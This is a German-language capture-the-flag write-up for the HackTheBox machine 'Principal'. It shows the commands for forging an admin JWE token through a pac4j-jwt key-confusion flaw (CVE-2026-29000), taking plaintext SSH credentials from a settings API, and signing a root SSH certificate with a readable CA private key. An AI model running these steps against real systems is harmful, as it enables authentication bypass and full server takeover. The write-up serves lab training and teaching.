HackTheBox — Principal

Schwierigkeit: Mittel Betriebssystem: Linux Plattform: HackTheBox

Übersicht

Webanwendung, die pac4j-jwt v6.0.3 ausführt — anfällig für CVE-2026-29000. Der öffentliche RSA-Schlüssel ist unauthentifiziert über einen JWKS-Endpunkt zugänglich und kann verwendet werden, um ein gültiges Admin-JWE-Token zu fälschen und die Authentifizierung vollständig zu umgehen. Mit Admin-Zugriff werden Klartext-SSH-Anmeldedaten über die Einstellungs-API abgerufen. Das Dienstkonto ist Mitglied der Gruppe deployers mit Lesezugriff auf einen privaten SSH-CA-Schlüssel, dem von sshd vertraut wird — das Signieren eines Zertifikats, das Root-Zugriff gewährt, schließt die Box ab.

1. Enumeration

Zur Webanwendung navigiert und den Seitenquelltext angezeigt. Das Haupt-JavaScript-Bundle wurde unter /static/js/app.js gefunden.

Wichtige API-Endpunkte, die in app.js identifiziert wurden:

/api/auth/login
/api/auth/jwks      <- Endpunkt für öffentlichen Schlüssel (unauthentifiziert)
/api/dashboard
/api/users
/api/settings

Die Fußzeile der Seite zeigte: pac4j-jwt v6.0.3 — anfällig für CVE-2026-29000.

2. JWT-Authentifizierungsumgehung — CVE-2026-29000

Den öffentlichen RSA-Schlüssel vom unauthentifizierten JWKS-Endpunkt abgerufen:

curl http://<TARGET_IP>:8080/api/auth/jwks
# Gibt den öffentlichen RSA-Schlüssel zurück (kid: enc-key-1)

CVE-2026-29000 ermöglicht die Verwendung des öffentlichen Schlüssels zur Fälschung eines gültigen JWE-Tokens — die Bibliothek akzeptiert fälschlicherweise mit dem öffentlichen Schlüssel verschlüsselte Token, anstatt den privaten Schlüssel zu verlangen.

Den PoC verwendet, um ein gefälschtes Admin-Token zu generieren:

python3 poc.py \
  --jwks http://<TARGET_IP>:8080/api/auth/jwks \
  --user admin \
  --role ROLE_ADMIN

3. Admin-API-Zugriff

Das gefälschte Token als Bearer-Token in Burp Repeater verwendet:

Authorization: Bearer <forged_token>

GET /api/dashboard → 200 OK

• Rolle bestätigt: ROLE_ADMIN
• Das Aktivitätsprotokoll zeigte CERT_ISSUED-Aktionen für Benutzer: svc-deploy

GET /api/settings → 200 OK

• SSH-Anmeldedaten im Klartext in der Sicherheitskonfiguration gefunden
• SSH-Zertifikatsauthentifizierung aktiviert
• SSH-CA-Pfad: /opt/principal/ssh/

4. Erster Zugriff

Per SSH mit den aus /api/settings wiederhergestellten Anmeldedaten eingeloggt:

ssh svc-deploy@<TARGET_IP>

User-Flag abgerufen.

5. Privilegienausweitung — SSH-CA-Signierung

svc-deploy ist in der Gruppe deployers mit Lesezugriff auf /opt/principal/ssh/:

ls -la /opt/principal/ssh/
# ca        — privater RSA-4096-Bit-CA-Schlüssel (lesbar für deployers)
# ca.pub    — öffentlicher CA-Schlüssel
# README.txt — bestätigt, dass die CA von sshd vertraut wird

Der private CA-Schlüssel ist lesbar. Da sshd dieser CA vertraut, wird jedes von ihr signierte Zertifikat akzeptiert — einschließlich eines, das Root-Zugriff gewährt.

# Neues Schlüsselpaar generieren
ssh-keygen -t ed25519 -f /tmp/privesc

# Mit der CA signieren und Principal 'root' gewähren
ssh-keygen -s /opt/principal/ssh/ca -I pwned -n root -V +1h /tmp/privesc.pub

# Als Root per SSH einloggen
ssh -i /tmp/privesc root@<TARGET_IP>

Root-Flag abgerufen.

Flags

• User: /home/svc-deploy/user.txt
• Root: /root/root.txt

Wichtige Erkenntnisse

• Bei der Webanwendungs-Reconnaissance immer die JWT-Bibliotheksversionen prüfen — pac4j-jwt ist in Java-Anwendungen weit verbreitet.
• CVE-2026-29000: pac4j-JWE-Schlüsselverwechslung — öffentlicher Schlüssel wird akzeptiert, wo ein privater Schlüssel erforderlich ist.
• API-Einstellungsendpunkte leaken oft Anmeldedaten im Klartext — nach Erhalt eines gültigen Tokens immer alle authentifizierten Routen enumerieren.
• Wenn ein Dienstkonto einen privaten SSH-CA-Schlüssel lesen kann, dem sshd vertraut, kann man ein Zertifikat für jeden Principal einschließlich Root signieren. Während der Post-Exploitation Gruppenmitgliedschaften und CA-Schlüsselberechtigungen prüfen.